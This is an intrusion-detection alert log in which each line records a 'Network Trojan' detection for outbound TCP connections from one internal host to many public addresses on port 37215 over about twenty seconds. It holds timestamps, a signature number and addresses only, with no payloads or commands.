2024-12-03T23:17:09.678302+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33594	197.184.110.72	37215	TCP
2024-12-03T23:17:09.835253+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32914	156.73.199.208	37215	TCP
2024-12-03T23:17:10.409973+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47168	156.224.237.85	37215	TCP
2024-12-03T23:17:10.637869+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56492	41.50.74.64	37215	TCP
2024-12-03T23:17:10.647254+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50796	156.213.87.168	37215	TCP
2024-12-03T23:17:10.841592+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57816	156.242.231.165	37215	TCP
2024-12-03T23:17:10.876156+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53784	197.5.80.25	37215	TCP
2024-12-03T23:17:11.038532+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46674	41.174.160.8	37215	TCP
2024-12-03T23:17:11.497193+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44246	197.128.128.146	37215	TCP
2024-12-03T23:17:11.778295+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45386	197.101.175.187	37215	TCP
2024-12-03T23:17:11.803229+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43480	156.113.104.220	37215	TCP
2024-12-03T23:17:11.887756+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35412	197.99.145.0	37215	TCP
2024-12-03T23:17:11.966520+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44632	156.133.165.115	37215	TCP
2024-12-03T23:17:12.028478+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49248	197.173.204.9	37215	TCP
2024-12-03T23:17:12.071052+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55748	197.79.45.182	37215	TCP
2024-12-03T23:17:12.086281+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52214	197.168.254.205	37215	TCP
2024-12-03T23:17:12.147458+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35176	41.171.44.196	37215	TCP
2024-12-03T23:17:12.147625+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52614	41.238.72.229	37215	TCP
2024-12-03T23:17:12.793929+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50496	197.48.57.207	37215	TCP
2024-12-03T23:17:12.793983+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33936	41.181.27.30	37215	TCP
2024-12-03T23:17:12.794075+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41580	156.196.177.232	37215	TCP
2024-12-03T23:17:12.794180+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39288	197.28.236.190	37215	TCP
2024-12-03T23:17:12.794242+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46372	156.225.40.131	37215	TCP
2024-12-03T23:17:12.825245+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33232	156.48.44.46	37215	TCP
2024-12-03T23:17:12.825442+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37132	41.240.1.22	37215	TCP
2024-12-03T23:17:12.834556+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34430	156.127.13.240	37215	TCP
2024-12-03T23:17:12.834638+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34056	156.79.85.120	37215	TCP
2024-12-03T23:17:12.840909+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37732	197.68.34.74	37215	TCP
2024-12-03T23:17:12.841002+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53062	41.23.152.112	37215	TCP
2024-12-03T23:17:12.841133+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35240	197.81.114.155	37215	TCP
2024-12-03T23:17:12.841301+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45390	41.28.122.113	37215	TCP
2024-12-03T23:17:12.841408+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34144	156.42.173.143	37215	TCP
2024-12-03T23:17:12.841551+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40604	156.153.176.175	37215	TCP
2024-12-03T23:17:12.841719+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56056	197.81.131.1	37215	TCP
2024-12-03T23:17:12.841831+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58986	197.120.27.107	37215	TCP
2024-12-03T23:17:12.850137+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41428	41.118.107.113	37215	TCP
2024-12-03T23:17:12.850232+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33986	156.47.233.200	37215	TCP
2024-12-03T23:17:12.850438+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41480	197.142.95.104	37215	TCP
2024-12-03T23:17:12.850564+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46538	41.199.42.109	37215	TCP
2024-12-03T23:17:12.850704+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46716	197.21.86.41	37215	TCP
2024-12-03T23:17:12.850812+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42006	156.54.52.64	37215	TCP
2024-12-03T23:17:12.850986+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37612	197.3.73.65	37215	TCP
2024-12-03T23:17:12.851076+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51038	197.170.158.13	37215	TCP
2024-12-03T23:17:12.851256+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50508	197.45.230.253	37215	TCP
2024-12-03T23:17:12.851402+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37080	156.2.32.205	37215	TCP
2024-12-03T23:17:13.012752+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52520	156.101.193.95	37215	TCP
2024-12-03T23:17:13.012803+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42332	197.171.142.249	37215	TCP
2024-12-03T23:17:13.012936+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43802	156.7.205.183	37215	TCP
2024-12-03T23:17:13.044014+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43914	156.181.180.180	37215	TCP
2024-12-03T23:17:13.053256+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38650	156.124.6.104	37215	TCP
2024-12-03T23:17:13.053434+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54908	41.50.237.224	37215	TCP
2024-12-03T23:17:13.053700+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39802	156.202.143.176	37215	TCP
2024-12-03T23:17:13.075240+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56700	156.55.85.23	37215	TCP
2024-12-03T23:17:13.084652+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53868	197.175.227.30	37215	TCP
2024-12-03T23:17:13.100668+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33164	156.104.224.250	37215	TCP
2024-12-03T23:17:14.075471+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39030	197.119.32.21	37215	TCP
2024-12-03T23:17:14.090905+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45448	41.65.89.176	37215	TCP
2024-12-03T23:17:14.091001+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44164	41.53.240.91	37215	TCP
2024-12-03T23:17:14.091343+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51536	156.144.180.222	37215	TCP
2024-12-03T23:17:14.100177+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50342	197.186.102.78	37215	TCP
2024-12-03T23:17:14.106678+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53898	41.150.130.73	37215	TCP
2024-12-03T23:17:14.106801+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49936	156.67.180.155	37215	TCP
2024-12-03T23:17:14.106917+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41336	41.211.150.253	37215	TCP
2024-12-03T23:17:14.107024+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39304	156.122.138.23	37215	TCP
2024-12-03T23:17:14.143681+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43094	197.129.180.180	37215	TCP
2024-12-03T23:17:14.147458+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34594	41.197.26.189	37215	TCP
2024-12-03T23:17:14.162714+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55338	41.122.67.190	37215	TCP
2024-12-03T23:17:14.178723+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35226	197.197.150.3	37215	TCP
2024-12-03T23:17:14.178863+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60772	156.97.251.247	37215	TCP
2024-12-03T23:17:14.178970+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48274	156.45.45.252	37215	TCP
2024-12-03T23:17:14.841011+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56642	41.244.31.150	37215	TCP
2024-12-03T23:17:14.850206+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60052	156.191.5.57	37215	TCP
2024-12-03T23:17:14.850311+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47960	156.151.133.165	37215	TCP
2024-12-03T23:17:14.881483+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40938	197.22.3.218	37215	TCP
2024-12-03T23:17:14.950263+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34756	41.5.104.100	37215	TCP
2024-12-03T23:17:14.950459+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56378	41.49.33.245	37215	TCP
2024-12-03T23:17:14.966457+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60136	41.47.204.108	37215	TCP
2024-12-03T23:17:14.966840+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51584	156.87.239.158	37215	TCP
2024-12-03T23:17:14.966842+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40366	41.131.210.92	37215	TCP
2024-12-03T23:17:14.975178+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34606	197.117.181.6	37215	TCP
2024-12-03T23:17:14.975333+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33220	156.151.72.168	37215	TCP
2024-12-03T23:17:14.975467+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55824	156.251.110.116	37215	TCP
2024-12-03T23:17:15.122291+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54336	41.214.171.165	37215	TCP
2024-12-03T23:17:15.150239+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47286	197.213.171.136	37215	TCP
2024-12-03T23:17:15.153306+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35618	41.235.181.100	37215	TCP
2024-12-03T23:17:15.169066+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38810	156.200.241.129	37215	TCP
2024-12-03T23:17:15.209683+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35786	197.16.62.185	37215	TCP
2024-12-03T23:17:15.216104+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55904	41.80.208.217	37215	TCP
2024-12-03T23:17:15.225382+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36524	41.39.127.227	37215	TCP
2024-12-03T23:17:16.200614+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44880	197.5.171.9	37215	TCP
2024-12-03T23:17:16.326940+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51128	197.125.253.243	37215	TCP
2024-12-03T23:17:16.340886+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56254	197.238.134.50	37215	TCP
2024-12-03T23:17:16.350096+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49198	197.22.155.143	37215	TCP
2024-12-03T23:17:16.350298+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40414	41.144.60.9	37215	TCP
2024-12-03T23:17:16.366297+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40564	156.76.208.93	37215	TCP
2024-12-03T23:17:16.381422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46806	197.50.157.0	37215	TCP
2024-12-03T23:17:16.397113+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47480	197.246.98.86	37215	TCP
2024-12-03T23:17:17.341292+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55172	197.20.66.176	37215	TCP
2024-12-03T23:17:17.397151+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47928	156.131.124.110	37215	TCP
2024-12-03T23:17:17.419237+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35828	156.95.85.108	37215	TCP
2024-12-03T23:17:17.459460+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49004	197.202.167.131	37215	TCP
2024-12-03T23:17:17.638108+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38342	156.92.173.159	37215	TCP
2024-12-03T23:17:17.647404+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36380	41.129.69.57	37215	TCP
2024-12-03T23:17:17.662767+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57086	197.72.154.115	37215	TCP
2024-12-03T23:17:17.669296+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51384	41.56.183.22	37215	TCP
2024-12-03T23:17:19.342341+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35038	41.87.30.134	37215	TCP
2024-12-03T23:17:19.357007+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47764	156.0.134.95	37215	TCP
2024-12-03T23:17:19.372476+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42246	197.237.65.75	37215	TCP
2024-12-03T23:17:19.372559+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42716	197.215.236.202	37215	TCP
2024-12-03T23:17:19.372707+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47618	197.189.24.78	37215	TCP
2024-12-03T23:17:19.381923+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50438	197.78.119.56	37215	TCP
2024-12-03T23:17:19.382044+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40708	156.48.134.66	37215	TCP
2024-12-03T23:17:19.382253+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36864	156.17.245.165	37215	TCP
2024-12-03T23:17:19.382375+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46686	197.157.34.149	37215	TCP
2024-12-03T23:17:19.387783+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48674	41.63.137.244	37215	TCP
2024-12-03T23:17:19.387893+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56932	41.76.137.36	37215	TCP
2024-12-03T23:17:19.388030+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50768	156.41.191.74	37215	TCP
2024-12-03T23:17:19.397188+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45550	197.68.104.92	37215	TCP
2024-12-03T23:17:19.403662+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39916	41.63.158.240	37215	TCP
2024-12-03T23:17:19.403766+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39432	41.116.81.247	37215	TCP
2024-12-03T23:17:19.403949+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51246	41.19.18.139	37215	TCP
2024-12-03T23:17:19.419662+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39882	156.112.195.101	37215	TCP
2024-12-03T23:17:19.428344+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48906	156.8.192.184	37215	TCP
2024-12-03T23:17:19.428455+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59396	197.84.129.212	37215	TCP
2024-12-03T23:17:19.439520+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32776	41.222.2.131	37215	TCP
2024-12-03T23:17:19.444033+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35458	156.10.152.79	37215	TCP
2024-12-03T23:17:19.444045+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39056	41.150.245.66	37215	TCP
2024-12-03T23:17:19.444147+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42804	41.121.213.165	37215	TCP
2024-12-03T23:17:19.444231+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48224	41.112.130.195	37215	TCP
2024-12-03T23:17:19.459551+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60420	156.98.201.36	37215	TCP
2024-12-03T23:17:19.459761+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36796	156.66.157.15	37215	TCP
2024-12-03T23:17:19.459794+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44718	197.142.165.222	37215	TCP
2024-12-03T23:17:19.475333+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33902	41.56.90.100	37215	TCP
2024-12-03T23:17:19.624473+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34264	41.91.169.5	37215	TCP
2024-12-03T23:17:19.624574+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36186	197.28.130.214	37215	TCP
2024-12-03T23:17:19.678349+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42288	156.17.134.152	37215	TCP
2024-12-03T23:17:19.678465+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42010	41.63.89.134	37215	TCP
2024-12-03T23:17:20.497402+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52140	41.94.254.95	37215	TCP
2024-12-03T23:17:20.497506+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58420	41.0.163.33	37215	TCP
2024-12-03T23:17:20.512848+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54998	41.41.166.255	37215	TCP
2024-12-03T23:17:20.512928+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60686	41.61.7.122	37215	TCP
2024-12-03T23:17:20.544216+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59090	197.120.168.26	37215	TCP
2024-12-03T23:17:20.544340+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38510	197.252.111.35	37215	TCP
2024-12-03T23:17:20.544413+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33494	197.28.20.71	37215	TCP
2024-12-03T23:17:20.544512+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37410	197.173.168.240	37215	TCP
2024-12-03T23:17:20.575507+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54570	156.127.111.169	37215	TCP
2024-12-03T23:17:20.575610+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52450	197.180.77.160	37215	TCP
2024-12-03T23:17:20.584664+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41074	197.239.247.108	37215	TCP
2024-12-03T23:17:20.600436+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49228	197.239.234.135	37215	TCP
2024-12-03T23:17:20.600492+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43506	41.151.195.8	37215	TCP
2024-12-03T23:17:20.600715+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42572	156.139.214.50	37215	TCP
2024-12-03T23:17:20.606578+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54052	197.124.106.211	37215	TCP
2024-12-03T23:17:20.616007+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53020	197.127.223.126	37215	TCP
2024-12-03T23:17:20.622734+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48226	41.93.144.3	37215	TCP
2024-12-03T23:17:20.669076+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47476	41.110.222.59	37215	TCP
2024-12-03T23:17:20.669189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59350	197.189.28.16	37215	TCP
2024-12-03T23:17:20.709716+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42602	41.46.47.242	37215	TCP
2024-12-03T23:17:20.709876+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42732	41.52.167.166	37215	TCP
2024-12-03T23:17:21.669128+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58394	41.199.73.61	37215	TCP
2024-12-03T23:17:21.684656+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57390	197.16.92.119	37215	TCP
2024-12-03T23:17:21.840977+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35048	156.49.30.178	37215	TCP
2024-12-03T23:17:21.841093+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33254	41.231.149.62	37215	TCP
2024-12-03T23:17:21.850309+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56404	41.205.232.245	37215	TCP
2024-12-03T23:17:21.865794+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44718	41.198.9.219	37215	TCP
2024-12-03T23:17:22.044084+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46244	156.91.63.100	37215	TCP
2024-12-03T23:17:22.044214+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45778	41.47.88.87	37215	TCP
2024-12-03T23:17:22.044287+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57374	41.155.36.98	37215	TCP
2024-12-03T23:17:22.053392+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58226	41.101.112.136	37215	TCP
2024-12-03T23:17:22.053501+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36000	41.18.246.176	37215	TCP
2024-12-03T23:17:22.059823+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58786	156.137.46.135	37215	TCP
2024-12-03T23:17:22.059963+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47222	41.143.113.96	37215	TCP
2024-12-03T23:17:22.069249+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44170	197.142.170.91	37215	TCP
2024-12-03T23:17:22.100290+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40888	41.223.16.73	37215	TCP
2024-12-03T23:17:22.100403+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56528	156.178.217.7	37215	TCP
2024-12-03T23:17:22.100460+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51858	41.63.78.53	37215	TCP
2024-12-03T23:17:22.622622+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39398	197.63.2.176	37215	TCP
2024-12-03T23:17:22.638443+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36564	197.48.241.242	37215	TCP
2024-12-03T23:17:22.669170+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38534	156.126.90.164	37215	TCP
2024-12-03T23:17:22.794112+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56144	156.98.238.140	37215	TCP
2024-12-03T23:17:22.851506+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38922	156.230.113.234	37215	TCP
2024-12-03T23:17:23.100438+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50540	41.2.97.161	37215	TCP
2024-12-03T23:17:23.919791+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58110	156.246.128.102	37215	TCP
2024-12-03T23:17:24.809843+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42266	156.3.32.28	37215	TCP
2024-12-03T23:17:24.809899+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33706	41.161.197.254	37215	TCP
2024-12-03T23:17:24.850446+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47702	197.111.248.4	37215	TCP
2024-12-03T23:17:24.850636+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53340	197.195.235.251	37215	TCP
2024-12-03T23:17:25.967022+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44210	156.26.242.193	37215	TCP
2024-12-03T23:17:25.981812+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47284	197.97.198.28	37215	TCP
2024-12-03T23:17:26.022139+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50168	41.195.59.173	37215	TCP
2024-12-03T23:17:26.037936+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42790	41.77.221.53	37215	TCP
2024-12-03T23:17:26.146044+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44906	197.157.222.198	37215	TCP
2024-12-03T23:17:28.013570+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49830	197.129.239.153	37215	TCP
2024-12-03T23:17:28.022369+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36338	156.179.25.199	37215	TCP
2024-12-03T23:17:28.022439+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57924	156.11.211.84	37215	TCP
2024-12-03T23:17:28.028692+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53672	197.206.30.92	37215	TCP
2024-12-03T23:17:28.028812+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59208	41.131.100.112	37215	TCP
2024-12-03T23:17:28.038139+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58706	156.188.91.9	37215	TCP
2024-12-03T23:17:28.038211+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49456	41.175.188.129	37215	TCP
2024-12-03T23:17:28.044308+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43342	41.146.113.39	37215	TCP
2024-12-03T23:17:28.044626+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45158	41.64.62.175	37215	TCP
2024-12-03T23:17:28.053485+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33788	41.24.229.94	37215	TCP
2024-12-03T23:17:28.073211+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33388	197.7.25.59	37215	TCP
2024-12-03T23:17:29.162930+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33602	41.15.117.187	37215	TCP
2024-12-03T23:17:29.169415+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54784	197.133.234.15	37215	TCP
2024-12-03T23:17:29.225406+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52426	197.56.85.36	37215	TCP
2024-12-03T23:17:29.294395+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38088	156.202.114.118	37215	TCP
2024-12-03T23:17:29.303539+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38500	156.8.109.111	37215	TCP
2024-12-03T23:17:29.303660+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36928	41.195.120.108	37215	TCP
2024-12-03T23:17:29.303765+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51536	156.48.81.13	37215	TCP
2024-12-03T23:17:29.325555+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55152	41.9.247.146	37215	TCP
2024-12-03T23:17:29.325627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41380	197.85.202.7	37215	TCP
2024-12-03T23:17:29.366186+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54328	197.22.34.240	37215	TCP
2024-12-03T23:17:29.381829+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34710	197.185.18.96	37215	TCP
2024-12-03T23:17:29.381953+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55136	41.142.83.141	37215	TCP
2024-12-03T23:17:29.416277+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36816	197.27.4.172	37215	TCP
2024-12-03T23:17:30.123284+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44406	156.182.64.11	37215	TCP
2024-12-03T23:17:30.123498+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33100	41.106.66.36	37215	TCP
2024-12-03T23:17:30.123553+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45314	197.254.73.37	37215	TCP
2024-12-03T23:17:30.148391+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46982	197.175.236.20	37215	TCP
2024-12-03T23:17:30.148405+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34130	156.98.42.61	37215	TCP
2024-12-03T23:17:30.153775+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48574	197.181.229.76	37215	TCP
2024-12-03T23:17:30.153905+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58138	41.73.137.68	37215	TCP
2024-12-03T23:17:30.154100+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46532	197.77.85.156	37215	TCP
2024-12-03T23:17:30.154286+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43064	197.250.32.16	37215	TCP
2024-12-03T23:17:30.154370+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58010	41.121.239.129	37215	TCP
2024-12-03T23:17:30.154491+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38230	197.109.244.30	37215	TCP
2024-12-03T23:17:30.162965+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56426	41.189.143.36	37215	TCP
2024-12-03T23:17:30.169482+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42334	156.21.28.16	37215	TCP
2024-12-03T23:17:30.169701+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59082	197.63.34.43	37215	TCP
2024-12-03T23:17:30.169814+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47788	156.144.206.35	37215	TCP
2024-12-03T23:17:30.169929+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37052	41.16.119.240	37215	TCP
2024-12-03T23:17:30.170047+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60826	41.34.205.6	37215	TCP
2024-12-03T23:17:30.170146+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57674	197.108.41.106	37215	TCP
2024-12-03T23:17:30.170258+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53952	197.223.164.211	37215	TCP
2024-12-03T23:17:30.170484+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44030	197.194.163.2	37215	TCP
2024-12-03T23:17:30.170721+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51100	41.144.216.63	37215	TCP
2024-12-03T23:17:30.178586+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35804	156.103.117.90	37215	TCP
2024-12-03T23:17:30.178758+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42074	197.35.164.91	37215	TCP
2024-12-03T23:17:30.178878+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39882	156.112.192.117	37215	TCP
2024-12-03T23:17:30.178989+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33646	41.126.177.238	37215	TCP
2024-12-03T23:17:30.179063+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46628	156.159.216.3	37215	TCP
